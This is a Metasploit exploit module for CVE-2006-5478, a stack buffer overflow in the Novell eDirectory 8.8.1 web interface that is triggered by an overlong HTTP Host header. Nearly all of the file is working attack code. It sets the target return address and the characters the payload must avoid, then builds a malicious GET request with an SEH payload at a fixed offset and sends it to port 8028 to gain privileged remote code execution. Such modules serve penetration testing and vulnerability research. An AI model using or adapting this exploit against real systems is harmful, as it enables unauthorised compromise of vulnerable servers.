1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Novell eDirectory NDS Server Host Header Overflow',
17
        'Description' => %q{
18
          This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
19
          The web interface does not validate the length of the
20
          HTTP Host header prior to using the value of that header in an
21
          HTTP redirect.
22
        },
23
        'Author' => 'MC',
24
        'License' => MSF_LICENSE,
25
        'References' => [
26
          ['CVE', '2006-5478'],
27
          ['OSVDB', '29993'],
28
          ['BID', '20655'],
29
        ],
30
        'DefaultOptions' => {
31
          'EXITFUNC' => 'seh',
32
        },
33
        'Payload' => {
34
          'Space' => 600,
35
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
36
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
37
        },
38
        'Platform' => 'win',
39
        'Targets' => [
40
          [ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
41
        ],
42
        'Privileged' => true,
43
        'DisclosureDate' => '2006-10-21',
44
        'DefaultTarget' => 0,
45
        'Notes' => {
46
          'Reliability' => UNKNOWN_RELIABILITY,
47
          'Stability' => UNKNOWN_STABILITY,
48
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
        }
50
      )
51
    )
52

53
    register_options([Opt::RPORT(8028)])
54
  end
55

56
  def exploit
57
    connect
58

59
    sploit = "GET /nds HTTP/1.1" + "\r\n"
60
    sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
61
    sploit << "," + rand_text_alphanumeric(719, payload_badchars)
62
    seh = generate_seh_payload(target.ret)
63
    sploit[705, seh.length] = seh
64
    sploit << "\r\n\r\n"
65

66
    print_status("Trying target #{target.name}...")
67

68
    sock.put(sploit)
69

70
    handler
71
    disconnect
72
  end
73
end
74

75